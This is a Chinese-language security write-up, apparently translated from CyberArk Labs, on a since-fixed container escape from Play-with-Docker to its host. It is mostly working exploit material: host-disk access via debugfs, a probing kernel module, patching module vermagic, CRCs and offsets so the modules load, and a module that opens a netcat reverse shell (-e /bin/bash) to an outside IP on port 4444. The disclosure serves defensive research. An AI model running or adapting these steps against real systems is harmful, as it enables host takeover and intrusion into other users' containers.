导言

Play-with-Docker(PWD),即Docker的游乐场网站,专门供初学者迅速上手各种Docker命令。实际上,该网站是建立在许多Docker主机上的,每个主机运行多个供初学者使用的容器,所以,该网站是学习Docker的好去处。借助于PWD,人们可以在Web浏览器中免费体验Alpine Linux虚拟机,学生可以在Web浏览器中构建和运行Docker容器,这样,他们就可以直接体验一把Docker,而不必先忙着安装和配置Docker。

这一独特的服务受到了DEVOPS从业人员的热烈欢迎,每月访问量超过10万次,此外,该网站还提供Docker教程、研讨会和培训等服务。该倡议是由Marcos Nils和Jonathan Leibiusky发起的,并得到了Docker社区的帮助以及Docker的赞助。

下面,我们将尝试实现模拟容器的逃逸,以便在Docker主机上运行代码。

容器逃逸的影响类似于虚拟机逃逸,因为两者都允许访问基础服务器。一方面,在PWD服务器上运行代码将允许攻击者不受限制地访问PWD的基础设施,另一方面,还可以访问所有学生的容器。此为,我们还可以把容器逃逸视为攻击企业基础设施的第一步,因为现在许多企业都在运行面向公众的容器,这可能导致攻击者入侵企业网络。

我们已经将发现的安全漏洞报告给了Docker和PWD的维护人员,并且,他们已经修复了PWD中的相关漏洞。

虚拟机或Linux容器

无论是容器,还是虚拟机(Virtual Machines,VM),都能够将应用程序与运行在同一台计算机上的底层主机和其他应用程序隔离开来。这种隔离不仅对于应用程序的执行来说非常重要,同时,对于安全性来说,也是至关重要的。

Linux容器和VM之间的一个重要区别,主要体现在与Linux内核的关系上面。如图1所示,VM会为每个实例加载一个新内核;每个VM不仅运行所有硬件(虚拟机管理程序)的虚拟副本,还为每个VM实例都运行一个Linux内核的完整副本。

相反,所有容器将共享相同的内核代码。这就是容器如此轻量级和易于操作的原因,同时,这也是Linux容器链中的一个薄弱环节。在这篇文章中,我们将为大家介绍攻击者是如何攻击这一薄弱环节的。

图1:VMS与容器虚拟化层。资料来源:https://www.electronicdesign.com/dev-tools/what-s-difference-between-containers-and-virtual-machines

了解你的敌人

熟悉容器的第一步是绘制其边界图:

[node1] $ uname –a
Linux node1 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 Linux

uname命令能够显示主机的内核版本、体系结构、主机名和构建日期。

[node1] $ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-96-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro
console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

/proc文件系统上的这个cmdline伪文件能够指出内核的引导映像和根UUID。这个UUID通常会被挂载为主机的根硬盘驱动器。接下来,我们要定位该UUID后面的设备:

[node1] $ findfs UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c
/dev/sda1

现在,我们可以尝试将该设备挂载到容器中,如果成功,就可以访问主机的文件系统了:

[node1] $ mkdir /mnt1
[node1] $ mount /dev/sda1 /mnt1
mount: /mnt1: cannot mount /dev/sda1 read-only.

不幸的是,SDA1设备是只读的,因此,我们无法挂载它。只读属性可能是使用PWD AppArmor的配置文件来实现的。

接下来,我们将转储cpuinfo文件,具体命令如下所示:

[node1] $ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 79
model name      : Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz
stepping        : 1
microcode       : 0xffffffff
cpu MHz         : 2294.670
cache size      : 51200 KB
physical id     : 0
siblings        : 8
core id         : 0
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 20
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt
bugs            :
bogomips        : 4589.34
clflush size    : 64
cache_alignment : 64
address sizes   : 44 bits physical, 48 bits virtual
power management:—- snip —-
processor       : 7
vendor_id       : GenuineIntel
cpu family      : 6
model           : 79
model name      : Intel(R) Xeon(R) CPU E5-2673 v4 @ 2.30GHz
......

我们继续来研究容器环境,并查看主机的底层硬件:

Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS 090007  06/02/2017

在进一步研究其他内容之前,还有一件事要做,那就是学会使用debugfs。debugfs是一个交互式的文件系统调试器,可以用于ext2/3/4文件系统。它可以对设备指定的ext文件系统进行读写操作。下面,让我们拿sda1设备来演示一下debugfs的用法:

[node1 $ debugfs /dev/sda1
debugfs 1.44.2 (14-May-2018)
debugfs:

太好了! 我们已经通过sda1设备入侵了的主机的root文件系统。现在,借助于标准的Linux命令,例如cd和ls命令,我们就可以更深入的了解主机的文件系统了:

debugfs: ls
2  (12) .    2  (12) ..    11  (20) lost+found    12  (12) bin181  (12) boot    193  (12) dev    282  (12) etc    2028  (12) home6847  (20) initrd.img    2030  (12) lib    4214  (16) lib644216  (16) media    4217  (12) mnt    4218  (12) opt    4219  (12) proc4220  (12) root    4223  (12) run    4226  (12) sbin    4451  (12) snap4452  (12) srv    4453  (12) sys    4454  (12) tmp    4455  (12) usr55481  (12) var    3695  (16) vmlinuz    3529  (12) .rnd    2684  (36) -17685  (24) initrd.img.old    24035  (3696) vmlinuz.old

这似乎是主机的根目录结构。并且,每个条目之前的数字是inode。例如, root (..)目录对应于inode 2;etc目录对应于inode 282。

获取了这些信息后,我们就可以规划接下来的行动了:

计划A:

我们的主要目标是,在我们所在的容器的主机上运行代码。为此,我们可以尝试加载一个Linux内核模块,该模块通过操控内核来运行我们的代码。

要加载一个新的内核模块,通常需要使用完全相同的内核源代码、内核配置和工具集对其进行编译。这一点无法在PWD内核上实现,所以,我们不得不转向计划B。

计划B:

对于该计划来说,我们将使用已经加载到目标内核上的模块来帮助我们构建自己的模块,并且这些模块可以加载到PWD内核上。

一旦我们确定了目标模块,我们就需要编译和加载第一个“probing”内核模块。这个模块将使用printk在内核记录器上转储必要的信息,以加载第二个反向shell模块。

在目标内核上运行第二个模块将执行必要的代码,以建立从PWD主机到C2服务器的反向shell。

听起来很复杂,对吧?如果您熟悉Linux内核模块的话,这实际上并不复杂,但是如果您愿意,可以跳过技术细节部分,直接观看相应的视频。

第1阶段:获取Play-with-Docker内核模块

在debugfs应用程序的帮助下,我们能够轻松地遍历主机的文件系统。很快,我们发现了一个内核模块,它具有让我们的策略正常运作所需的最低要求:一个使用printk内核函数的模块。

debugfs:  cd /lib/modules
debugfs:  ls
3017  (12) .    2030  (48) ..    262485  (24) 4.4.0-96-generic524603  (28) 4.4.0-137-generic    2055675  (3984) 4.4.0-138-generic

这是该设备的/lib/modules目录结构的列表。红色部分表示每个文件的inode。这个目录总共含有3个不同的内核版本,其中我们需要的版本为4.4.0-96-generic。

debugfs:  cd 4.4.0-96-generic/kernel/fs/ceph
debugfs:  ls
1024182  (12) .    774089  (36) ..    1024183  (4048) ceph.ko

接下来,我们将提取ceph.ko[iv]文件,它是ceph软件存储平台的内核加载模块。实际上,该主机上的所有使用printk函数的其他模块也都能满足我们的要求。

debugfs:  dump <1024183> /tmp/ceph.ko

dump debugfs命令实际上是通过它的inode从被调试的文件系统(根文件系统)中将相应的文件提取到容器的local/tmp目录中的。

现在,我们可以将这个文件传到我们的工作站上。

第2阶段:创建“probing”内核模块:

一般而言,使用某个内核源代码编译的模块无法加载到使用另一个源代码编译的内核上面。但是,对于相对简单的模块来说,可以在下面三种情况下将内核模块加载到不同的内核上:

该模块与要使用的内核具有匹配的vermagic。实际上,vermagic就是一个字符串,用于标识编译它的内核的版本。

模块使用的每个函数调用或内核结构(用Linux内核术语来说,就是符号)都能向它试图加载的内核提供一个匹配的CRC。

模块的可重定位起始地址与内核的编程地址是一致的。

我为了获得目标内核上call_usermodehelper()函数的CRC,我们需要使用一个probing模块来完成该任务。

第1步:查找call_usermodehelper函数在目标内核上的CRC地址

Linux内核的符号位于/proc/kallsyms中:

[node1] $ cat /proc/kallsyms | grep call_usermod
ffffffff81096840 T call_usermodehelper_exec
ffffffff810969f0 t call_usermodehelper_exec_async
ffffffff81096b40 t call_usermodehelper_exec_work
ffffffff810970a0 T call_usermodehelper_setup
ffffffff81097140 T call_usermodehelper
ffffffff81d8a390 R __ksymtab_call_usermodehelper
ffffffff81d8a3a0 R __ksymtab_call_usermodehelper_exec
ffffffff81d8a3b0 R __ksymtab_call_usermodehelper_setup
ffffffff81daa0e0 r __kcrctab_call_usermodehelper
ffffffff81daa0e8 r __kcrctab_call_usermodehelper_exec
ffffffff81daa0f0 r __kcrctab_call_usermodehelper_setup
ffffffff81dbabf1 r __kstrtab_call_usermodehelper
ffffffff81dbac05 r __kstrtab_call_usermodehelper_exec
ffffffff81dbac1e r __kstrtab_call_usermodehelper_setup

call_userModeHelper()函数的CRC存储在地址FFFFFF81DAA0E0处,因此,probing模块应该转储该地址中的内容。

下面是第一个模块的代码:

#include <linux/module.h>     /* Needed by all modules */
#include <linux/kernel.h>     /* Needed for KERN_INFO */
#include <linux/init.h>       /* Needed for the macros */MODULE_LICENSE("GPL");
MODULE_AUTHOR("CyberArk Labs");
MODULE_DESCRIPTION("A simple probing LKM!");
MODULE_VERSION("0.3");static int __init startprobing(void)
{// these address were copied from the kallsyms of the 4.0.0-96-generic// after grepping for kcrctab_<function_name>int *crc1 = (int *)0xffffffff81daa0e0;      // address of crc of call_usermodehelperint *crc2 = (int *)0xffffffff81dae898;      // address of crc of printkprintk(KERN_EMERG "Loading probing module...\n");printk(KERN_EMERG "CRC of call_UserModeHelper = 0x%x\n", *crc1);printk(KERN_EMERG "CRC of printk = 0x%x\n", *crc2);return 0;
}static void __exit startprobing_end(void)
{printk(KERN_EMERG "Goodbye!\n");
}module_init(startprobing);
module_exit(startprobing_end);

第2步:准备好Makefile文件

下一步是为该内核模块准备一个Makefile文件:

obj-m = probing.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

然后,执行make命令:

$ make
make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/simplemod modules
make[1]: Entering directory '/root/debian/linux-4.17-rc2'CC [M]  /root/cprojects/kernelmod/simplemod/probing.oBuilding modules, stage 2.MODPOST 1 modules
read continue

我们可以在编译器生成probing.mod.c文件之后、链接probing模块的代码之前,停止该编译过程。

下面是自动生成的文件:

//cat probing.mod.c#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>MODULE_INFO(vermagic, VERMAGIC_STRING);
MODULE_INFO(name, KBUILD_MODNAME);__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {.name = KBUILD_MODNAME,.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD.exit = cleanup_module,
#endif.arch = MODULE_ARCH_INIT,
};#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endifstatic const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {{ 0x6cb06770, __VMLINUX_SYMBOL_STR(module_layout) },{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");

第3步:编辑相关的字段以匹配目标内核。

我们需要替换vermagic(见第5行)和CRC(见第25-27行),使其匹配目标内核。

之后,我们就得到PWD的CEPH.KO模块。

为了从ceph.ko模块中提取内核版本和函数的CRC,可以运行modinfo命令:

$ modinfo ceph.kofilename:       /root/cprojects/kernelmod/play-docker/ceph.ko
license:        GPL
description:    Ceph filesystem for Linux
author:         Patience Warnick <patience@newdream.net>
author:         Yehuda Sadeh <yehuda@hq.newdream.net>
author:         Sage Weil <sage@newdream.net>
alias:          fs-ceph
srcversion:     C985B22FADB19E9D06914CC
depends:        libceph,fscache
intree:         Y
vermagic:       4.4.0-96-generic SMP mod_unload modversions
signat:         PKCS#7
signer:
sig_key:
sig_hashalgo:   md4

记录vermagic字符串。请注意,它有一个尾随的空格,复制时,请不要忘了这一个空格。

生成的头文件需要用到3个CRC符号:

module_layout, printk and __fentry__.

为了找到这些CRC,需要对目标内核的ceph.ko模块运行modprobe命令:

# modprobe --dump-modversions ceph.ko | grep printk
0x27e1a049  printk
# modprobe --dump-modversions ceph.ko | grep module_layout
0xfc5ded98  module_layout
# modprobe --dump-modversions ceph.ko | grep __fentry
0xbdfb6dbb  __fentry__

现在,请编辑probing.mod.c,修改vermagic字符串和CRC,使其变为:

#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {.name = KBUILD_MODNAME,.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD.exit = cleanup_module,
#endif.arch = MODULE_ARCH_INIT,
};#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endifstatic const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";MODULE_INFO(srcversion, "9757E367BD555B3C0F8A145");

请注意,printk和__fentry__的CRC并没有进行修改,这意味着它们对于本地内核和PWD内核具有相同的CRC。

第4步:修改init_module偏移量。

加载probing模块之前,需要完成的最后一步是修改其init_module可重定位偏移量。为此,需要检查PWD内核ceph.ko模块的ELF结构,以获得可重定位的init_module偏移量:

$ readelf -a ceph.ko | less

向下翻卷,直到找到如下行所示内容为止:

偏移量0x8F580处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:

  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000180  052900000001 R_X86_64_64       0000000000000000 init_module + 0
000000000338  04e700000001 R_X86_64_64       0000000000000000 cleanup_module + 0

注意,init_module的可重定位偏移量为0x180。

接下来,需要考察probing模块的init_module偏移量:

$ readelf -a probing.ko | less

向下翻卷,直到找到如下init_module所示内容为止:

在偏移量0x1bf18处的重定位节“.rela.gnu.linkonce.this_module”中包含2个条目,具体如下所示:

  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000000178  002900000001 R_X86_64_64       0000000000000000 init_module + 0
000000000320  002700000001 R_X86_64_64       0000000000000000 cleanup_module + 0

从该输出结果来看,该probing模块的init_module可重定位偏移量似乎是0x178。我们需要对其进行修改,以便目标内核能够执行已安装模块的函数。

为此,我们需要在probing.ko文件的地址0x1BF18处将该偏移量改为0x180。

实际上,我们可以借助于chngelf工具来完成该任务:

$ chngelf probing.ko 0x1bf18 0x180

第5步:将“Probing”模块加载到目标内核。

对于这个probing模块来说,其下一个也是最后一个步骤是将probing.ko模块传输到PWD容器,并尝试将其加载到内核:

[node1] $ insmod probing.ko

如果加载成功,insmod将没有任何输出。

接下来,我们需要运行dmesg来转储内核消息:

$ dmesg
[1921106.716039] docker_gwbridge: port 67(veth4eff938) entered forwarding state
[1921107.452064] Loading probing module...
[1921107.456852] CRC of call_UserModeHelper = 0xc5fdef94
[1921107.464297] CRC of printk = 0x27e1a049

大功告成了!这样,我们只要能在PWD内核中运行自己的代码,就能获得所需符号的CRC了。

第3阶段:创建反向shell模块

对于反向shell来说,我们需要使用内核函数call_usermodehelper(),它可以从内核空间中准备并执行用户空间中的应用程序。

我们这里将使用一个非常简单的模块:

/** @file    NsEscape.c* @author  Nimrod Stoler, CyberArk Labs* @date    29 Oct 2018* @version 0.1* @brief   This loadable kernel module prepares a new device with*          the inode of mnt namespace, which allows a container to*          escape to the host by using enterns or setns()
*/#include <linux/module.h>     /* Needed by all modules */
#include <linux/kernel.h>     /* Needed for KERN_INFO */
#include <linux/init.h>       /* Needed for the macros */
#include <linux/sched/signal.h>
#include <linux/nsproxy.h>
#include <linux/proc_ns.h>///< The license type -- this affects runtime behavior
MODULE_LICENSE("GPL");///< The author -- visible when you use modinfo
MODULE_AUTHOR("Nimrod Stoler");///< The description -- see modinfo
MODULE_DESCRIPTION("NS Escape LKM");///< The version of the module
MODULE_VERSION("0.1");static int __init escape_start(void)
{int rc;static char *envp[] = {"SHELL=/bin/bash","HOME=/home/cyberark","USER=cyberark","PATH=/home/cyberark/bin:/home/cyberark/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/cyberark","DISPLAY=:0","PWD=/home/cyberark",NULL};char *argv[] = { "/bin/busybox", "nc", "54.87.128.209", "4444", "-e", "/bin/bash", NULL };rc = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);printk("RC is: %i \n", rc);return 0;
}static void __exit escape_end(void)
{printk(KERN_EMERG "Goodbye!\n");
}module_init(escape_start);
module_exit(escape_end);

该模块会调用busybox程序包中的netcat工具,它应该已经根据C2服务器的IP和端口以反向shell模式安装到了主机的文件系统上。

接下来,我们为nsescape代码创建一个makefile文件,并进行编译:

obj-m = nsescape.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

然后,执行下列命令:

$ make
make -C /lib/modules/4.17.0-rc2/build/ M=/root/cprojects/kernelmod/nsescape modules
make[1]: Entering directory '/root/debian/linux-4.17-rc2'
Building modules, stage 2.
MODPOST 1 modules
read continue

当make进程停止后,编辑文件nsescape.mod.c,就像我们对probing模块所做的那样,修改vermagic和CRC:

#include <linux/module.h>
#include <linux/vermagic.h>
#include <linux/compiler.h>MODULE_INFO(vermagic, "4.4.0-96-generic SMP mod_unload modversions ");
MODULE_INFO(name, KBUILD_MODNAME);__visible struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {.name = KBUILD_MODNAME,.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD.exit = cleanup_module,
#endif.arch = MODULE_ARCH_INIT,
};#ifdef RETPOLINE
MODULE_INFO(retpoline, "Y");
#endifstatic const struct modversion_info ____versions[]
__used
__attribute__((section("__versions"))) = {{ /*0x6cb06770*/ 0xfc5ded98, __VMLINUX_SYMBOL_STR(module_layout) },{ 0xdb7305a1, __VMLINUX_SYMBOL_STR(__stack_chk_fail) },{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },{ /*0xa7eedcc4*/ 0xc5fdef94, __VMLINUX_SYMBOL_STR(call_usermodehelper) },{ 0xbdfb6dbb, __VMLINUX_SYMBOL_STR(__fentry__) },
};static const char __module_depends[]
__used
__attribute__((section(".modinfo"))) =
"depends=";MODULE_INFO(srcversion, "E4B73EA24DFD56CAEDF8C67");

修改vermagic,使其匹配目标内核,同时,还要修改module_layout和call_usermodhelper符号的CRC,使其匹配运行probing模块时所获得的数字。不过,其他CRC(printk、__fentry__和__stack_chk_fail的CRC)在这两个内核之间貌似没有变化。

最后,使用chngelf工具将输出文件中的init_module可重定位偏移量从0x178改为0x180,就像处理probing模块时所做的那样。

在PWD主机上执行远程代码

现在,运行netcat,以准备好C2服务器:

nc –l 4444 -vvv

最后一步是将nsespace.ko文件传送到目标计算机,即Play–with-Docker容器上面,并执行如下所示的命令:

[node1] $ insmod nsescape.ko

这样,我们可以使用远程shell从PWD容器成功逃逸到主机了!(演示视频见原文)

结束语

要想从Linux容器获得主机访问权限,即使不是不可能的话,也是一项非常艰巨的任务。不过,在这个PWD示例中,情况好像并非如此。

其实,其中的原因很简单:由于PWD使用了具有特权的容器,所以,在修复该漏洞之前,很难为其提供相应的安全防护。

虽然从PWD容器逃逸到主机非常困难——但正如我们在本文中所展示的那样,这并不是不可能的。并且,Linux内核模块注入只是攻击者可以利用的途径之一。并且,其他攻击途径也是存在的,所以,在使用特权容器时,必须妥善加以处理。

docker逃逸 从Play-with-Docker容器逃逸到Docker主机相关推荐

  1. docker如何将运行中的容器保存为docker镜像?

    答: 使用docker commit和docker save保存镜像 $ sudo docker commit <当前运行的container id> <仓库名称>:<t ...

  2. Runc容器运行过程及容器逃逸原理

    原文链接:https://ethantang.top/posts/runc-container/ 在每一个Kubernetes节点中,运行着kubelet,负责为Pod创建销毁容器,kubelet预定 ...

  3. Runc 容器初始化和容器逃逸

    更多奇技淫巧欢迎订阅博客:https://fuckcloudnative.io 前言 在每一个 Kubernetes 节点中,运行着 kubelet,负责为 Pod 创建销毁容器,kubelet 预定 ...

  4. [漏洞分析] CVE-2022-0492 容器逃逸漏洞分析

    CVE-2022-0492 容器逃逸分析 文章目录 CVE-2022-0492 容器逃逸分析 漏洞简介 环境搭建 漏洞原理与相关知识 漏洞发生点 cgroup 简介 cgroup 使用 release ...

  5. 容器安全风险and容器逃逸漏洞实践

    本文博客地址:https://security.blog.csdn.net/article/details/128966455 一.Docker存在的安全风险 1.1.Docker镜像存在的风险 不安 ...

  6. 容器化方案Docker的使用方法

    Docker: 将重复的事情简单化,避免相同的工作重复做.缩短代码从开发.测试到部署.上线运行的周期,让我们的应用程序具备可移植性.易于构建.并易于协作. 1. Docker介绍 Docker 是一个 ...

  7. Docker容器虚拟化技术---Docker安装和操作1

    一.Docker安装 Docker在主流的操作系统和云平台上都可以使用,包括Linux操作 系统(如Ubuntu.Debian.CentOS.Redhat等).MacOS操作系统和 Windows操作 ...

  8. 容器化(docker)

    1.什么是容器 有效的将单个操作系统的资源划分到孤立的组中,以便更好的在孤立的组之间平衡有冲突的资源使用需求. 1.1.容器化与虚拟化 一.容器    容器是一个不依赖于操作系统,运行应用程序的环境. ...

  9. 应用容器引擎:docker的简介与安装

    目录 Docker概述: Docker和传统虚拟化技术的对比 部署Docker的开发环境 Docker常用命令 Docker的优点: 持续部署与测试 多云平台 环境标准化和版本控制 隔离性 安全性 结 ...

  10. Docker的实现原理以及与容器的区别

    docker和容器的区别? 其实容器的发展历史早于docker的.docker也不等同于容器,"容器"是一系列内核特性的统称. 2000年的时候,LXC容器发布,这是一种内核虚拟 ...

最新文章

  1. springboot入门_打包部署
  2. OJ系列之---单词倒排
  3. 前端基础-jQuery的事件的用法
  4. SDWebImage源码阅读(三)UIImage+GIF
  5. 找出连续最长数字串python_字符串中找出连续最长的数字字符串的实例代码
  6. msdn画圆弧函数_画直线不简单!python-matplotlib告诉你为什么
  7. iOS/Android自动化云测试工具iTestin 1.0发布
  8. Leetcode每日一题:842.split-array-into-fibonacci-sequenc(将数组拆分成斐波那契序列)
  9. 8-16 常见开发运维问题
  10. quartz定时器依赖_Spring Quartz定时器 配置文件详解
  11. 【HBase学习】Apache HBase项目简介
  12. 《System语言详解》——5. 语言元素
  13. 微信抢号软件_快来抢微信靓号!微信小商店正式上线
  14. 三种1:4传输线变压器巴伦的分析
  15. 基于A*启发式搜索解决迷宫问题
  16. java 电子秤串口通信_js串口通信 调用MSCOMM32控件 链接电子秤(完整版实现方案)...
  17. 对于ACM竞赛算法分类的整理
  18. I 帧和 IDR 帧的区别
  19. AVX-512指令_mm512_shuffle_epi8分析
  20. JAVA超全笔试/面试考试题.(500问)--第三章面试题全面收录

热门文章

  1. C 编程异常 — double free or corruption (fasttop)
  2. 前端测试简述及使用Karma/Mocha实现的集成测试栗子(Travis CI/Coverage)
  3. CSS实现各类分栏布局
  4. 抓信插件开发遇到网页的CSS不起作用
  5. IOS 学习笔记 2015-03-20 O之 nil,Nil,NULL,NSNull
  6. 2011最有用最潮的jQuery特效教程,前端们抱走吧~
  7. 讨论SELinux对系统安全的影响(转)
  8. SQL进行排序、分组、统计的10个新技巧
  9. When IT meets Coupon
  10. 这次不忽悠:3个成功案例告诉你,开一家AI公司其实不难